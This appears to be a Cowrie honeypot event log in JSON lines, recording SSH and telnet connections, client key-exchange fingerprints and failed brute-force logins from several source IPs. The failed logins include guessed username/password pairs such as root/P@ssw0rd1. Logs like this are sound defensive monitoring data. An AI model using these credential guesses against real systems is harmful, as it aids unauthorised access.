{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52700,"dst_ip":"10.17.0.5","dst_port":23,"session":"47cddf54dcb0","protocol":"telnet","message":"New connection: 152.42.224.71:52700 (10.17.0.5:23) [session: 47cddf54dcb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:12.731145Z"}
{"eventid":"cowrie.login.failed","username":"opc","password":"123456","message":"login attempt [opc/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:12.921514Z","src_ip":"31.40.204.166","session":"082745ccd3b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.794907331466675,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:13.229010Z","src_ip":"152.42.224.71","session":"dc0b5cb5ebfa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52704,"dst_ip":"10.17.0.5","dst_port":23,"session":"13591772e843","protocol":"telnet","message":"New connection: 152.42.224.71:52704 (10.17.0.5:23) [session: 13591772e843]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:13.965080Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:14.193550Z","src_ip":"31.40.204.166","session":"082745ccd3b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.04974341392517,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:16.312260Z","src_ip":"152.42.224.71","session":"ffad6aab6c90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":27450,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab914ef446b7","protocol":"ssh","message":"New connection: 194.59.206.2:27450 (159.203.135.109:22) [session: ab914ef446b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:21.422468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:21.427197Z","src_ip":"194.59.206.2","session":"ab914ef446b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:21.517867Z","src_ip":"194.59.206.2","session":"ab914ef446b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:21.614335Z","src_ip":"194.59.206.2","session":"ab914ef446b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.222187757492065,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:22.876581Z","src_ip":"152.42.224.71","session":"c0f688087e49","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":51338,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7158b5653e7","protocol":"ssh","message":"New connection: 31.40.204.166:51338 (159.203.135.109:22) [session: f7158b5653e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:24.699737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:24.785843Z","src_ip":"31.40.204.166","session":"f7158b5653e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:24.983430Z","src_ip":"31.40.204.166","session":"f7158b5653e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":48284,"dst_ip":"159.203.135.109","dst_port":22,"session":"c167696d5a47","protocol":"ssh","message":"New connection: 103.183.114.55:48284 (159.203.135.109:22) [session: c167696d5a47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:25.148621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:25.154071Z","src_ip":"103.183.114.55","session":"c167696d5a47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:25.377126Z","src_ip":"103.183.114.55","session":"c167696d5a47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test@1234","message":"login attempt [test/test@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:25.625443Z","src_ip":"31.40.204.166","session":"f7158b5653e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123aaa","message":"login attempt [root/123aaa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:26.044595Z","src_ip":"103.183.114.55","session":"c167696d5a47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:26.807162Z","src_ip":"31.40.204.166","session":"f7158b5653e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:27.300793Z","src_ip":"103.183.114.55","session":"c167696d5a47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":93.7656774520874,"message":"Connection lost after 93 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:29.046640Z","src_ip":"152.42.224.71","session":"f7851cd7726f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54804,"dst_ip":"10.17.0.5","dst_port":23,"session":"135419e0e6bf","protocol":"telnet","message":"New connection: 152.42.224.71:54804 (10.17.0.5:23) [session: 135419e0e6bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:30.133066Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54826,"dst_ip":"10.17.0.5","dst_port":23,"session":"524140997d8f","protocol":"telnet","message":"New connection: 152.42.224.71:54826 (10.17.0.5:23) [session: 524140997d8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:32.747600Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54832,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3b6a8d3c4e0","protocol":"telnet","message":"New connection: 152.42.224.71:54832 (10.17.0.5:23) [session: f3b6a8d3c4e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:33.051645Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":53446,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c2eb8b5e2f9","protocol":"ssh","message":"New connection: 31.40.204.166:53446 (159.203.135.109:22) [session: 3c2eb8b5e2f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:36.107851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:36.112628Z","src_ip":"31.40.204.166","session":"3c2eb8b5e2f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":23.527589559555054,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:36.258644Z","src_ip":"152.42.224.71","session":"47cddf54dcb0","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:36.285577Z","src_ip":"31.40.204.166","session":"3c2eb8b5e2f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43108,"dst_ip":"10.17.0.5","dst_port":23,"session":"6eacae94a731","protocol":"telnet","message":"New connection: 152.42.224.71:43108 (10.17.0.5:23) [session: 6eacae94a731]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:36.397569Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd1","message":"login attempt [root/P@ssw0rd1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:36.713981Z","src_ip":"31.40.204.166","session":"3c2eb8b5e2f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:37.904379Z","src_ip":"31.40.204.166","session":"3c2eb8b5e2f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.58342981338501,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:39.180462Z","src_ip":"152.42.224.71","session":"6247cd7c9f16","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43124,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bbfae49879c","protocol":"telnet","message":"New connection: 152.42.224.71:43124 (10.17.0.5:23) [session: 0bbfae49879c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:40.951196Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":41174,"dst_ip":"10.17.0.5","dst_port":22,"session":"2589d49a13ee","protocol":"ssh","message":"New connection: 103.173.227.57:41174 (10.17.0.5:22) [session: 2589d49a13ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:43.952693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:43.957043Z","src_ip":"103.173.227.57","session":"2589d49a13ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:44.190889Z","src_ip":"103.173.227.57","session":"2589d49a13ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"laguna","message":"login attempt [root/laguna] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:44.894312Z","src_ip":"103.173.227.57","session":"2589d49a13ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:46.132227Z","src_ip":"103.173.227.57","session":"2589d49a13ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":55174,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb54ffe41f3e","protocol":"ssh","message":"New connection: 31.40.204.166:55174 (159.203.135.109:22) [session: bb54ffe41f3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:47.818292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:47.823325Z","src_ip":"31.40.204.166","session":"bb54ffe41f3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:48.001495Z","src_ip":"31.40.204.166","session":"bb54ffe41f3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"momo123","message":"login attempt [root/momo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:48.608469Z","src_ip":"31.40.204.166","session":"bb54ffe41f3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":37364,"dst_ip":"159.203.135.109","dst_port":22,"session":"84bc4d913bc0","protocol":"ssh","message":"New connection: 103.98.149.87:37364 (159.203.135.109:22) [session: 84bc4d913bc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:49.732345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:49.763422Z","src_ip":"103.98.149.87","session":"84bc4d913bc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:49.802051Z","src_ip":"31.40.204.166","session":"bb54ffe41f3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:49.964896Z","src_ip":"103.98.149.87","session":"84bc4d913bc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50588,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ea4cc278d4e","protocol":"telnet","message":"New connection: 152.42.224.71:50588 (10.17.0.5:23) [session: 7ea4cc278d4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:50.029657Z"}
